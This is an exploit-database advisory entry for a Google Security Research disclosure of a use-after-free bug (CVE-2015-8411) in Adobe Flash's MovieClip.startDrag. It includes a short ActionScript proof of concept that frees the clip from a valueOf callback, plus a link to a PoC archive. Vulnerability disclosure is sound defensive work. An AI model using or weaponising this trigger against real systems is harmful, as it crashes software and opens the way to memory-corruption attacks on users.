Adobe Flash MovieClip.startDrag - Use-After-Free

Author: Google Security Research
type: dos
platform: windows
port: nan
date_added: 2015-12-18 
date_updated: 2015-12-18 
verified: 1 
codes: CVE-2015-8411;OSVDB-131217 
tags: 
aliases:  
screenshot_url:  
application_url: 

Source: https://code.google.com/p/google-security-research/issues/detail?id=592

There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal POC follows:

this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);


function func(){

	mc.removeMovieClip();

        // Fix heap here

	return 1;

	}

A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39041.zip